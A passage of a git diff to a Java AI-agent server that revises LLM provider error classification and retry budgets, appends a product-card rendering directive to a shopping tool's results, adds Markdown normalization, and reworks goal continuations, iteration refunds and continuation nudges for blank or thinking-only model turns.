your current quota") - || msg.contains("quota exceeded") || msg.contains("Quota exceeded")) { + || msg.contains("quota exceeded") || msg.contains("Quota exceeded") + || msg.contains("余额不足") || msg.contains("请充值") + || msg.contains("\"code\":\"1113\"") || msg.contains("\"code\":1113") + || msg.contains("AccountBalanceNotEnough") + || msg.contains("balance not enough")) { return ErrorType.BILLING; } // RFC-009 P3.2: MODEL_NOT_FOUND — provider rejects the requested model id. @@ -436,19 +494,14 @@ public class NodeStreamingChatHelper { || msg.contains("InvalidEndpointOrModel")) { return ErrorType.MODEL_NOT_FOUND; } - // Client errors (400 Bad Request — unsupported format, invalid params, etc.) — NOT retryable. - // DashScope's remaining "InvalidParameter" responses are request-shape bugs, e.g. a reserved - // or illegal tool name ("Tool names are not allowed to be [search]") or an unsupported - // parameter. These fail identically on every provider, so classifying them as CLIENT_ERROR - // (rather than MODEL_NOT_FOUND) keeps the model in the failover pool and surfaces the real - // cause instead of a misleading "model not available" message. - if (msg.contains("400") || msg.contains("Bad Request") - || msg.contains("invalid_request_error") || msg.contains("unsupported") - || msg.contains("Tool names are not allowed") - || msg.contains("InvalidParameter")) { - return ErrorType.CLIENT_ERROR; - } // Server errors and transient TLS / socket-level network hiccups. + // MUST be checked BEFORE CLIENT_ERROR. 5xx patterns (502/503/504) are + // transient gateway failures that self-heal on retry. If the error chain + // carries BOTH 5xx and 4xx-like keywords (a proxy 502 whose response body + // happens to say "bad request"), the 5xx is the root cause and should win + // — retrying a true 400 wastes seconds, but NOT retrying a transient 502 + // loses the user's entire conversation turn. MAX_TOTAL_DURATION_MS + // provides the ultimate safety net against unbounded retry. // Without the TLS-specific patterns, a single SSL fatal alert // (e.g. bad_record_mac during long-running streams) falls through to // UNKNOWN — non-retryable — so one transient handshake glitch surfaces @@ -477,9 +530,27 @@ public class NodeStreamingChatHelper { // in the response body when their backend is under high load or the // upstream connection to the model server is disrupted. This is a // transient server-side failure — classify as retryable. - || msg.contains("network connection error")) { + || msg.contains("network connection error") + // AI gateway / reverse-proxy rewrites: upstream 5xx (502/503/504) + // surfaced as HTTP 400 with a body that describes the upstream + // outage. These are transient server-side failures — retryable. + || msg.contains("temporarily unavailable") + || msg.contains("service unavailable") + || msg.contains("model is overloaded")) { return ErrorType.SERVER_ERROR; } + // Client errors (400 Bad Request — unsupported format, invalid params, etc.) — NOT retryable. + // DashScope's remaining "InvalidParameter" responses are request-shape bugs, e.g. a reserved + // or illegal tool name ("Tool names are not allowed to be [search]") or an unsupported + // parameter. These fail identically on every provider, so classifying them as CLIENT_ERROR + // (rather than MODEL_NOT_FOUND) keeps the model in the failover pool and surfaces the real + // cause instead of a misleading "model not available" message. + if (msg.contains("400") || msg.contains("Bad Request") + || msg.contains("invalid_request_error") || msg.contains("unsupported") + || msg.contains("Tool names are not allowed") + || msg.contains("InvalidParameter")) { + return ErrorType.CLIENT_ERROR; + } return ErrorType.UNKNOWN; } @@ -550,6 +621,15 @@ public class NodeStreamingChatHelper { // 主模型重试循环 StreamResult lastResult = null; if (!primarySkipped) for (int attempt = 0; attempt <= MAX_RETRIES; attempt++) { + // Time budget check: prevent retries from stalling a single + // conversation turn indefinitely (e.g., a provider that stays + // at 503 for minutes). Aligned with Wiki's maxTotalDurationMs. + long elapsedMs = System.currentTimeMillis() - callStartMs; + if (elapsedMs >= maxTotalDurationMs) { + log.warn("[{}] Primary retry time budget exhausted ({}ms), handing off to fallback chain", + phase, elapsedMs); + break; + } llmCallCount++; if (attempt > 0) retryCount++; lastResult = doStreamCall(chatModel, prompt, conversationId, phase, broadcast, attempt); @@ -601,11 +681,18 @@ public class NodeStreamingChatHelper { if (lastResult.errorType() == ErrorType.THINKING_BLOCK_ERROR) { return lastResult; // 已经重试过了 } - // RFC-009: EMPTY_RESPONSE — break the primary-retry loop and fall through to - // the fallback chain. Retrying the same model that returned nothing is rarely - // productive; a different provider has a better chance of succeeding. + // EMPTY_RESPONSE — transient gateway blip often resolves on same-model + // retry (e.g., proxy timeout returns HTTP 200 with empty body). + // Retry up to MAX_RETRIES_EMPTY_RESPONSE before handing off to the + // fallback chain. A different provider has a better chance of + // succeeding if the same model repeatedly returns nothing. if (lastResult.errorType() == ErrorType.EMPTY_RESPONSE) { - log.warn("[{}] Primary returned empty response — skipping same-model retries, handing off to fallback chain", phase); + if (attempt < MAX_RETRIES_EMPTY_RESPONSE) { + log.warn("[{}] Primary returned empty response (attempt {}/{}), retrying same model...", + phase, attempt + 1, MAX_RETRIES_EMPTY_RESPONSE + 1); + continue; + } + log.warn("[{}] Primary exhausted empty-response retries — handing off to fallback chain", phase); recordPrimary(false); break; } @@ -616,25 +703,33 @@ public class NodeStreamingChatHelper { logPerfSummary(phase, conversationId, callStartMs, llmCallCount, retryCount, failoverCount); return lastResult; } - // RATE_LIMIT / SERVER_ERROR past their retry budget are provider-level - // failures: the same model will not recover within this turn, but a - // different provider can. Break to the fallback chain instead of - // returning — recordPrimary(false) runs once at the post-loop provider - // health check below, and if every fallback also fails the chain - // walker re-surfaces this same error to the caller. + // RATE_LIMIT / SERVER_ERROR / UNKNOWN past their retry budget are + // provider-level failures: the same model will not recover within + // this turn, but a different provider can. Break to the fallback + // chain instead of returning — recordPrimary(false) runs once at + // the post-loop provider health check below, and if every fallback + // also fails the chain walker re-surfaces this same error to the + // caller. + // UNKNOWN errors are included defensively: an error we can't + // classify may be a transient (mis-classified by our keyword + // patterns) or a fatal (truly new error shape). Retrying with a + // smaller budget (MAX_RETRIES_UNKNOWN=5 vs MAX_RETRIES=10) is + // safer than immediate termination — MAX_TOTAL_DURATION_MS provides + // the ultimate safety net. if (lastResult.errorType() == ErrorType.RATE_LIMIT - || lastResult.errorType() == ErrorType.SERVER_ERROR) { + || lastResult.errorType() == ErrorType.SERVER_ERROR + || lastResult.errorType() == ErrorType.UNKNOWN) { log.warn("[{}] Primary exhausted retries (type={}) — handing off to fallback chain", phase, lastResult.errorType()); break; } - // Any other non-null errored result (e.g. UNKNOWN) that doStreamCall - // chose NOT to retry must exit — otherwise we silently spin through - // attempts and waste seconds per turn on unrecoverable errors like - // DashScope's "url error" / unknown model. + // Any truly unhandled error type — safety net. Prefer falling back + // over terminating the entire call. If this branch is ever hit in + // production, the type should be added explicitly above. recordPrimary(false); - logPerfSummary(phase, conversationId, callStartMs, llmCallCount, retryCount, failoverCount); - return lastResult; + log.warn("[{}] Primary returned unhandled error type={} — handing off to fallback chain", + phase, lastResult.errorType()); + break; } // lastResult == null 表示需要重试 } @@ -813,10 +908,10 @@ public class NodeStreamingChatHelper { String conversationId, String phase, boolean broadcast, int attempt) { if (attempt > 0) { - long delay = Math.min(BACKOFF_BASE_MS * (1L << (attempt - 1)), BACKOFF_CAP_MS); + long delay = Math.min(backoffBaseMs * (1L << (attempt - 1)), backoffCapMs); // 加入 jitter 防止雷群效应 delay += ThreadLocalRandom.current().nextLong(0, Math.max(1, delay / 2)); - delay = Math.min(delay, BACKOFF_CAP_MS); + delay = Math.min(delay, backoffCapMs); log.warn("[{}] Retry attempt {}/{} after {}ms for conversation {}", phase, attempt, MAX_RETRIES, delay, conversationId); // 广播给前端:用户可见的重试倒计时 @@ -1155,12 +1250,20 @@ public class NodeStreamingChatHelper { conversationId, phase, errorType); } - // Rate limit / Server error: retryable, but with different budgets. + // Rate limit / Server error / Unknown: retryable, but with different budgets. // RATE_LIMIT: cap at 2 retries then failover (RFC 06 D-2). // SERVER_ERROR: keep full MAX_RETRIES — upstream flaps often self-heal. - if (errorType == ErrorType.RATE_LIMIT || errorType == ErrorType.SERVER_ERROR) { - int effectiveMaxRetries = (errorType == ErrorType.RATE_LIMIT) - ? MAX_RETRIES_RATE_LIMIT : MAX_RETRIES; + // UNKNOWN: conservative cap (5 vs 10). Defensive: retry what we can't + // classify, but with a smaller budget to avoid masking truly fatal + // errors. MAX_TOTAL_DURATION_MS provides the ultimate safety net. + if (errorType == ErrorType.RATE_LIMIT + || errorType == ErrorType.SERVER_ERROR + || errorType == ErrorType.UNKNOWN) { + int effectiveMaxRetries = switch (errorType) { + case RATE_LIMIT -> MAX_RETRIES_RATE_LIMIT; + case UNKNOWN -> MAX_RETRIES_UNKNOWN; + default -> MAX_RETRIES; + }; if (attempt < effectiveMaxRetries) { log.warn("[{}] Retryable error (attempt {}/{}, type={}): {}", phase, attempt, effectiveMaxRetries, errorType, error.getMessage()); diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/executor/ToolExecutionExecutor.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/executor/ToolExecutionExecutor.java index f832af01..71363c40 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/executor/ToolExecutionExecutor.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/executor/ToolExecutionExecutor.java @@ -184,6 +184,44 @@ public class ToolExecutionExecutor { return StructuredTruncator.truncate(result, headLen, tailLen, marker); } + /** + * Appended to the cross-platform shopping recommendation tool's result so the + * model reliably renders products as chat cards instead of a markdown table. + * The tool's MCP schema is globally callable, so a model can invoke it without + * ever loading the skill's instructions — this puts the rendering contract + * where the model always sees it: in the tool result itself. + */ + private static final String PRODUCT_CARD_RENDER_DIRECTIVE = + "\n\n[Rendering directive] Render these recommendations for the user as a" + + " fenced code block whose language tag is exactly `product-cards`, containing a" + + " JSON array. Each element: {name, url, imageUrl, price, originalPrice, lowestPrice," + + " platformLabel, shopName, purchaseAdvice}. Copy `url` and `imageUrl` verbatim from" + + " the result above (never invent or alter them). The chat UI turns this block into" + + " clickable product cards with a buy button. Do NOT use a markdown table or inline" + + " image markdown for these products. You may add a short intro sentence and purchase" + + " tips around the block."; + + /** + * Returns {@code true} when the tool is the cross-platform shopping + * recommendation tool and its result actually carries product records + * (so timeouts / empty results fall through to the model's own fallback). + */ + static boolean shouldAppendProductCardDirective(String toolName, String result) { + if (toolName == null || result == null) return false; + if (!toolName.contains("ckjia_shopping_recom")) return false; + return result.contains("recommendations") + || result.contains("imageUrl") + || result.contains("priceTag") + || result.contains("markdownLink"); + } + + /** Appends {@link #PRODUCT_CARD_RENDER_DIRECTIVE} when applicable, else returns the result unchanged. */ + static String withProductCardDirective(String toolName, String result) { + return shouldAppendProductCardDirective(toolName, result) + ? result + PRODUCT_CARD_RENDER_DIRECTIVE + : result; + } + private final Map toolCallbackMap; /** * Maps a normalized tool name (lowercase snake_case, with `_tool`/`_function` @@ -675,8 +713,10 @@ public class ToolExecutionExecutor { log.info("[ToolExecutor] Pre-approved tool {} returned {} chars{}", toolName, rawLen, result != null && result.length() < rawLen ? " (now " + result.length() + " after spill/truncate)" : ""); events.add(GraphEventPublisher.toolComplete(toolCall.id(), toolName, result, true)); + // Append the card-rendering directive to the LLM-facing response only, + // leaving the broadcast tool-result panel unchanged. return new ToolResponseMessage.ToolResponse( - toolCall.id(), toolName, result != null ? result : ""); + toolCall.id(), toolName, withProductCardDirective(toolName, result != null ? result : "")); } catch (Exception e) { log.error("[ToolExecutor] Pre-approved tool {} failed: {}", toolName, e.getMessage()); String safeError = isReturnDirect(callback) @@ -905,8 +945,10 @@ public class ToolExecutionExecutor { GraphEventPublisher.toolComplete(pc.toolCall.id(), toolName, result, true).data()); streamTracker.updateRunningTool(pc.conversationId, null); } + // Append the card-rendering directive to the LLM-facing response only, + // leaving the broadcast tool-result panel unchanged. return new ToolResponseMessage.ToolResponse( - pc.toolCall.id(), toolName, result != null ? result : ""); + pc.toolCall.id(), toolName, withProductCardDirective(toolName, result != null ? result : "")); } catch (Exception e) { log.error("[ToolExecutor] Tool {} execution failed: {}", toolName, e.getMessage(), e); // RFC-052: for returnDirect tools, even the error message is @@ -946,7 +988,10 @@ public class ToolExecutionExecutor { ToolInvocationContext guardCtx = ToolInvocationContext.of( toolName, java.util.Map.of(), arguments, conversationId, agentId, - /*channelType*/ null, requesterId, workspaceId); + /*channelType*/ null, requesterId, workspaceId) + // Carry the active workspace base path so a guardian can enforce + // the filesystem boundary before approval (issue #313). + .withWorkspaceBasePath(origin != null ? origin.workspaceBasePath() : null); if (toolGuardService != null) { GuardEvaluation evaluation = toolGuardService.evaluate(guardCtx); diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/FinalAnswerNode.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/FinalAnswerNode.java index 6792e0a6..7ddec09d 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/FinalAnswerNode.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/FinalAnswerNode.java @@ -8,6 +8,7 @@ import vip.mate.agent.graph.state.DirectToolOutput; import vip.mate.agent.graph.state.FinishReason; import vip.mate.agent.graph.state.MateClawStateAccessor; import vip.mate.agent.graph.state.SourceEvidenceLedger; +import vip.mate.common.text.MarkdownNormalizer; import vip.mate.tool.document.GeneratedFileCache; import java.util.List; @@ -39,12 +40,25 @@ public class FinalAnswerNode implements NodeAction { */ private final GeneratedFileCache generatedFileCache; + /** + * Kill-switch for the deterministic Markdown cleanup applied to the answer + * body. {@code true} (default) runs {@link MarkdownNormalizer}; set to + * {@code false} to surface model output verbatim if a normalization edge + * case ever mangles a legitimate answer in production. + */ + private final boolean markdownNormalizeEnabled; + public FinalAnswerNode() { - this(null); + this(null, true); } public FinalAnswerNode(GeneratedFileCache generatedFileCache) { + this(generatedFileCache, true); + } + + public FinalAnswerNode(GeneratedFileCache generatedFileCache, boolean markdownNormalizeEnabled) { this.generatedFileCache = generatedFileCache; + this.markdownNormalizeEnabled = markdownNormalizeEnabled; } @Override @@ -161,6 +175,7 @@ public class FinalAnswerNode implements NodeAction { // validation so the validator sees the user-visible warning rather // than treating the fake link as a "reference". finalAnswer = scrubFakeUrls(finalAnswer); + finalAnswer = accessor.sourceEvidenceLedger().appendWikiSourceTable(finalAnswer); SourceEvidenceLedger.Validation validation = accessor.sourceEvidenceLedger().validateAnswer(finalAnswer); if (finishReason == FinishReason.NORMAL && !validation.valid()) { @@ -170,6 +185,17 @@ public class FinalAnswerNode implements NodeAction { validation.unsupportedReferences()); } + // Deterministic Markdown cleanup on the model-generated answer body. LLMs + // routinely emit malformed Markdown (missing heading spaces, glued `---`, + // unaligned table pipes) that prompt rules fail to prevent; this fixes the + // mechanical defects before the answer is persisted / sent to channels. + // Verbatim tool output (RETURN_DIRECT) and approval-wait paths return early + // above and are intentionally left untouched. Gated so operators can turn + // the rewrite off (mate.agent.markdown-normalize-enabled=false). + if (markdownNormalizeEnabled) { + finalAnswer = MarkdownNormalizer.normalize(finalAnswer); + } + // Build the event list. Always carries the finish_reason event so // downstream consumers (memory gate, channel accumulator, message // metadata persistence) see a machine-readable status. When the @@ -211,9 +237,9 @@ public class FinalAnswerNode implements NodeAction { } private static String appendEvidenceWarning(String answer, List unsupportedReferences) { - return answer + "\n\n[证据不足] 以下源码引用未出现在已读取/搜索到的工具证据中:" + return answer + "\n\n[证据不足] 以下引用未出现在本轮已读取/搜索到的工具证据中,或缺少有效来源标注:" + String.join(", ", unsupportedReferences) - + "。请继续读取相关文件后再下结论。"; + + "。请继续检索/读取相关证据后再下结论。"; } /** diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/GoalEvaluationNode.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/GoalEvaluationNode.java index 2f98eb9c..042b35fc 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/GoalEvaluationNode.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/GoalEvaluationNode.java @@ -78,7 +78,12 @@ public class GoalEvaluationNode implements NodeAction { MateClawStateAccessor accessor = new MateClawStateAccessor(state); - Optional goalOpt = accessor.activeGoal(); + // Resolve the active goal from the turn-start snapshot, falling back to + // a conversation lookup. The fallback is what makes a goal created + // MID-TURN (the agent calls setGoal, which only writes the DB) get + // evaluated on the very turn it was set — otherwise ACTIVE_GOAL is empty + // in this run's state and the goal would sit inert until the next message. + Optional goalOpt = resolveActiveGoal(state, goalService); if (goalOpt.isEmpty()) { return Map.of(); } @@ -94,26 +99,32 @@ public class GoalEvaluationNode implements NodeAction { // chat composable's `message_complete` handler optimistically sets // evaluating=true; without a balancing event the ring would stay // in that state forever after e.g. a max-iterations turn. - Long goalIdForEvents = (goalOpt.get() instanceof GoalEntity ge) ? ge.getId() : null; + Long goalIdForEvents = goalOpt.get().getId(); // ReAct path: FinalAnswerNode wrote a canonical finishReason that // determines whether this turn counts. Plan-Execute usually doesn't // set finishReason on the happy path, so we only enforce these // exit conditions in REACT mode + the universal awaiting_approval // gate that both flavors share. + // A turn that hit the ReAct iteration cap. Continuing it needs a FRESH + // iteration budget (a "hard continuation"), handled in the follow-up + // branch below; capture it here while finishReason is still authoritative. + boolean reactIterationCapReached = flavor == GraphFlavor.REACT + && isIterationCapReached(accessor.finishReason()); + if (flavor == GraphFlavor.REACT) { String fr = accessor.finishReason(); - if (FinishReason.EVIDENCE_INSUFFICIENT.getValue().equals(fr) - || FinishReason.STOPPED.getValue().equals(fr) - || FinishReason.ERROR_FALLBACK.getValue().equals(fr) - || FinishReason.RETURN_DIRECT.getValue().equals(fr) - || FinishReason.MAX_ITERATIONS_REACHED.getValue().equals(fr)) { + if (isHardSkipFinishReason(fr)) { log.debug("[GoalEvaluationNode] skipping evaluation (REACT finishReason={})", fr); return MateClawStateAccessor.output() .goalEvaluatedThisRun(true) .events(List.of(skippedEvent(goalIdForEvents, "react_finish_reason:" + fr))) .build(); } + // MAX_ITERATIONS_REACHED and EVIDENCE_INSUFFICIENT intentionally + // fall through: both mean "answer produced but the goal is likely + // unmet", which is exactly when a corrective follow-up helps. + // Max-iterations additionally needs a fresh budget (see below). } if (accessor.awaitingApproval()) { return MateClawStateAccessor.output() @@ -122,14 +133,7 @@ public class GoalEvaluationNode implements NodeAction { .build(); } - Object goalObj = goalOpt.get(); - if (!(goalObj instanceof GoalEntity goal)) { - log.warn("[GoalEvaluationNode] ACTIVE_GOAL is not a GoalEntity: {}", goalObj.getClass()); - return MateClawStateAccessor.output() - .goalEvaluatedThisRun(true) - .events(List.of(skippedEvent(null, "non_goal_entity"))) - .build(); - } + GoalEntity goal = goalOpt.get(); String terminal = accessor.terminalAnswer(); if (terminal.isEmpty()) { @@ -226,6 +230,9 @@ public class GoalEvaluationNode implements NodeAction { } int followupCountThisRun = accessor.goalFollowupCount(); + int hardContinuationCount = accessor.goalHardContinuationCount(); + int hardCap = Math.min(properties.getMaxHardContinuationsPerRun(), + GoalProperties.MAX_HARD_CONTINUATIONS_CEILING); Optional followup; try { followup = followupService.maybeBuildFollowup(refreshed, result); @@ -241,11 +248,19 @@ public class GoalEvaluationNode implements NodeAction { // active and the cross-message turn / LLM budget (or the user) carries // it on. boolean perRunCapReached = followupCountThisRun >= properties.getMaxFollowupsPerRun(); - if (followup.isPresent() && perRunCapReached) { - log.info("[GoalEvaluationNode] per-run followup cap reached ({}/{}) for goal={}; ending this run", - followupCountThisRun, properties.getMaxFollowupsPerRun(), refreshed.getId()); + // A max-iterations continuation re-runs a FULL fresh ReAct segment + // (iteration budget reset), so it carries a tighter, dedicated cap on + // top of the per-run follow-up cap — and is sized into the graph + // recursion ceiling. hardCap==0 keeps the legacy behaviour (a + // max-iterations turn simply ends the run). + boolean hardCapReached = reactIterationCapReached && hardContinuationCount >= hardCap; + if (followup.isPresent() && (perRunCapReached || hardCapReached)) { + log.info("[GoalEvaluationNode] follow-up suppressed for goal={} " + + "(followups {}/{}, hardContinuations {}/{}, iterationCapReached={}); ending this run", + refreshed.getId(), followupCountThisRun, properties.getMaxFollowupsPerRun(), + hardContinuationCount, hardCap, reactIterationCapReached); } - if (followup.isPresent() && !perRunCapReached) { + if (followup.isPresent() && !perRunCapReached && !hardCapReached) { try { goalService.recordFollowupInjected(refreshed.getId(), followup.get()); } catch (Throwable t) { @@ -283,6 +298,20 @@ public class GoalEvaluationNode implements NodeAction { out.clearFinalAnswer() .clearFinishReason() .messages(List.of((Message) new UserMessage(followup.get()))); + if (reactIterationCapReached) { + // Hard continuation: the run's iteration budget is spent, so + // grant a brand-new ReAct segment. Reset the counter, clear + // the stale limit-exceeded draft/flag (FinalAnswerNode prefers + // the draft over a freshly reasoned answer) and any latched + // error, and advance the dedicated hard-continuation counter. + out.iterationCount(0) + .clearLimitExceededDraft() + .error("") + .goalHardContinuationCount(hardContinuationCount + 1); + log.info("[GoalEvaluationNode] hard continuation {}/{} for goal={} " + + "(fresh ReAct iteration budget after max-iterations turn)", + hardContinuationCount + 1, hardCap, refreshed.getId()); + } } else { // Plan-Execute: wipe the wider mid-pass + terminal state. // WORKING_CONTEXT and PlanStateKeys.GOAL are intentionally @@ -318,6 +347,70 @@ public class GoalEvaluationNode implements NodeAction { .build(); } + /** + * Resolve the active goal for this run: prefer the turn-start + * {@code ACTIVE_GOAL} snapshot; if absent, fall back to a conversation + * lookup so a goal created mid-turn (via {@code setGoal}, which only writes + * the DB) is still evaluated on the turn it was set. + * + *

Shared by {@link #apply} and the {@code FinalAnswer/PlanSummary → + * GoalEvaluation} routing edges so both agree on whether a goal is active. + * The DB fallback costs one indexed lookup per terminal turn whose snapshot + * is empty; callers should additionally gate on {@code properties.isEnabled()} + * to skip it when the feature is off. + */ + public static Optional resolveActiveGoal(OverAllState state, GoalService goalService) { + MateClawStateAccessor a = new MateClawStateAccessor(state); + Optional snapshot = a.activeGoal(); + if (snapshot.isPresent() && snapshot.get() instanceof GoalEntity ge) { + return Optional.of(ge); + } + if (goalService == null) { + return Optional.empty(); + } + String conversationId = a.conversationId(); + if (conversationId == null || conversationId.isBlank()) { + return Optional.empty(); + } + try { + return Optional.ofNullable(goalService.findActiveByConversation(conversationId)); + } catch (Throwable t) { + log.warn("[GoalEvaluationNode] active-goal fallback lookup failed for conversation={}: {}", + conversationId, t.toString()); + return Optional.empty(); + } + } + + /** + * REACT-mode finish reasons that should neither count toward the goal nor + * trigger a continuation: + *
    + *
  • {@code STOPPED} — the user halted the run; don't fight them.
  • + *
  • {@code RETURN_DIRECT} — a tool produced the answer verbatim; this + * is not goal-progress reasoning work to evaluate or continue.
  • + *
  • {@code ERROR_FALLBACK} — a fatal error already failed the turn; + * re-running immediately would just re-fail.
  • + *
+ * Other terminal reasons — notably {@code MAX_ITERATIONS_REACHED} and + * {@code EVIDENCE_INSUFFICIENT} — mean "answer produced but the goal is + * likely unmet", which is exactly when a corrective follow-up helps, so + * they are deliberately NOT skipped. + */ + static boolean isHardSkipFinishReason(String finishReason) { + return FinishReason.STOPPED.getValue().equals(finishReason) + || FinishReason.RETURN_DIRECT.getValue().equals(finishReason) + || FinishReason.ERROR_FALLBACK.getValue().equals(finishReason); + } + + /** + * True when the terminal turn hit the ReAct iteration cap. Continuing such + * a turn requires a fresh iteration budget (a "hard continuation"), because + * the run's shared budget is already exhausted. + */ + static boolean isIterationCapReached(String finishReason) { + return FinishReason.MAX_ITERATIONS_REACHED.getValue().equals(finishReason); + } + /** Stand-in for a missing {@code GraphEventPublisher.custom()} factory. */ private static GraphEventPublisher.GraphEvent goalEvent(String type, Map data) { return new GraphEventPublisher.GraphEvent(type, Map.copyOf(data), System.currentTimeMillis()); diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ObservationNode.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ObservationNode.java index 9755ce93..708670a2 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ObservationNode.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ObservationNode.java @@ -32,6 +32,18 @@ public class ObservationNode implements NodeAction { private final ObservationProcessor observationProcessor; private final vip.mate.channel.web.ChatStreamTracker streamTracker; + /** + * Progressive-disclosure meta-tools that perform setup, not real work. A + * round whose entire batch is one of these is refunded its iteration (see + * {@link MateClawStateKeys#ITERATION_REFUND_COUNT}). Mirrors the authoritative + * set in {@code DefaultToolDisclosureService.ALWAYS_CORE}. + */ + private static final java.util.Set DISCLOSURE_TOOLS = + java.util.Set.of("load_skill", "enable_tool"); + + /** Per-run cap on iteration refunds — keeps a load-skill-only model from looping forever. */ + private static final int MAX_ITERATION_REFUNDS_PER_RUN = 3; + public ObservationNode(ObservationProcessor observationProcessor) { this(observationProcessor, null); } @@ -56,14 +68,29 @@ public class ObservationNode implements NodeAction { int currentIteration = accessor.iterationCount(); int maxIterations = accessor.maxIterations(); - int nextIteration = currentIteration + 1; - - log.info("[ObservationNode] Iteration {}/{}", nextIteration, maxIterations); // 提取最新的工具结果并处理 List toolResults = state.>value(TOOL_RESULTS).orElse(List.of()); + // Iteration refund: a round whose entire batch was progressive-disclosure + // setup (load_skill / enable_tool) did no real work, so don't charge it an + // iteration — otherwise a tight budget loses a step to the load-then-use + // two-step. Bounded by MAX_ITERATION_REFUNDS_PER_RUN so a model that only + // ever loads skills can't dodge the budget forever. + int refundCount = accessor.iterationRefundCount(); + boolean setupOnlyRound = !toolResults.isEmpty() + && toolResults.stream().allMatch(tr -> DISCLOSURE_TOOLS.contains(tr.name())); + boolean refundIteration = setupOnlyRound && refundCount < MAX_ITERATION_REFUNDS_PER_RUN; + int nextIteration = refundIteration ? currentIteration : currentIteration + 1; + + if (refundIteration) { + log.info("[ObservationNode] Iteration refunded (setup-only round, refunds {}/{}); staying at {}/{}", + refundCount + 1, MAX_ITERATION_REFUNDS_PER_RUN, nextIteration, maxIterations); + } else { + log.info("[ObservationNode] Iteration {}/{}", nextIteration, maxIterations); + } + // 将每个工具结果通过 ObservationProcessor 标准化和截断 List processedObservations = toolResults.stream() .map(tr -> observationProcessor.process(tr.name(), tr.responseData())) @@ -121,6 +148,10 @@ public class ObservationNode implements NodeAction { .shouldSummarize(shouldSummarize) .toolCallCount(newToolCallCount); + if (refundIteration) { + builder.iterationRefundCount(refundCount + 1); + } + // Close out the iteration we just observed. We use currentIteration // (not nextIteration) so the index pairs with whatever // iteration_start the ReasoningNode emitted at the top of this turn. diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ReasoningNode.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ReasoningNode.java index b92c6999..0ec0da7d 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ReasoningNode.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/node/ReasoningNode.java @@ -141,19 +141,96 @@ public class ReasoningNode implements NodeAction { + "required step is already done, output the final answer to the user now."; /** - * A turn carrying no tool call, no content, and no thinking is not a usable - * answer — it would route to the final-answer branch as an empty string and - * terminate the run. Fatal / prompt-too-long / partial results are handled by - * their own branches and must not be misread as "empty". + * Continuation nudge for the most common premature-stop pattern: an empty + * turn immediately after a successful tool call. The tool result is already + * in context but the model stopped before writing the user-facing answer + * (e.g. a download URL produced by a send-file tool). Anchoring the nudge to + * the tool result recovers the answer in the same run instead of leaving the + * user to send another message to resume. */ - static boolean isEmptyCompletion(NodeStreamingChatHelper.StreamResult result) { + private static final String POST_TOOL_EMPTY_NUDGE = + "上一步工具已成功返回(结果在上文)。请基于工具结果直接给出面向用户的最终答复" + + "(例如下载地址 / 执行结论),不要停在思考阶段,也不要只描述\"接下来要做什么\"。"; + + /** + * Continuation nudge for a turn that carries reasoning/thinking but no + * visible content and no tool call. Interleaved-thinking models sometimes + * "decide" the task is done in their reasoning yet never emit the answer + * text; this re-prompts them to write it (or call the next tool). + */ + private static final String THINKING_ONLY_NUDGE = + "你已完成思考但还没有输出正文。请现在把面向用户的最终答案写出来;" + + "如果还有未完成的步骤,则立即调用对应工具。"; + + /** + * Why a no-tool-call reasoning turn cannot yet be accepted as a final answer. + * Both non-FINAL states route a turn into the bounded continuation-nudge loop + * instead of letting the final-answer branch emit an empty string and end the + * run prematurely. + */ + enum ContinuationIntent { + /** + * Real user-facing content present, or a tool call, or a failure owned by + * another branch (fatal / prompt-too-long / partial) — finalize normally. + */ + FINAL, + /** + * Reasoning/thinking present but no visible content and no tool call. The + * model "thought it was done" without writing the answer — common on + * interleaved-thinking models after a tool result. Nudge it to emit it. + */ + THINKING_ONLY, + /** No content, no thinking, no tool call — a fully blank turn. Nudge to continue. */ + BLANK, + } + + /** + * Classify a no-tool-call turn's continuation intent. Fatal / prompt-too-long + * / partial results are handled by their own branches and must not be misread + * as needing a nudge. + */ + static ContinuationIntent classifyContinuation(NodeStreamingChatHelper.StreamResult result) { if (result == null || result.hasToolCalls() || result.hasFatalError() || result.isPromptTooLong() || result.partial()) { - return false; + return ContinuationIntent.FINAL; } boolean noContent = result.text() == null || result.text().isBlank(); + if (!noContent) { + return ContinuationIntent.FINAL; + } boolean noThinking = result.thinking() == null || result.thinking().isBlank(); - return noContent && noThinking; + return noThinking ? ContinuationIntent.BLANK : ContinuationIntent.THINKING_ONLY; + } + + /** + * A fully blank turn (no tool call, no content, no thinking) is not a usable + * answer — it would route to the final-answer branch as an empty string and + * terminate the run. Retained as a thin predicate over {@link #classifyContinuation}. + */ + static boolean isEmptyCompletion(NodeStreamingChatHelper.StreamResult result) { + return classifyContinuation(result) == ContinuationIntent.BLANK; + } + + /** + * True when the newest conversational turn in the model input is a tool + * response — i.e. the model is about to reason over a fresh tool result. Used + * to pick the result-anchored continuation nudge for the common "empty turn + * right after a tool call" stop pattern. + */ + static boolean lastTurnIsToolResponse(List messages) { + if (messages == null) { + return false; + } + for (int i = messages.size() - 1; i >= 0; i--) { + Message m = messages.get(i); + if (m instanceof ToolResponseMessage) { + return true; + } + if (m instanceof UserMessage || m instanceof AssistantMessage) { + return false; + } + } + return false; } /** @@ -194,6 +271,40 @@ public class ReasoningNode implements NodeAction { + " · ledger snapshot 永远显示初始状态,对你毫无帮助\n\n" + "**例外**:单一问题、简单问答、不可拆解的请求 — 不需要用。\n"; + private static final String GROUNDED_CONTRACT = "\n\n" + + "## 回答来源约束(强制规则)\n\n" + + 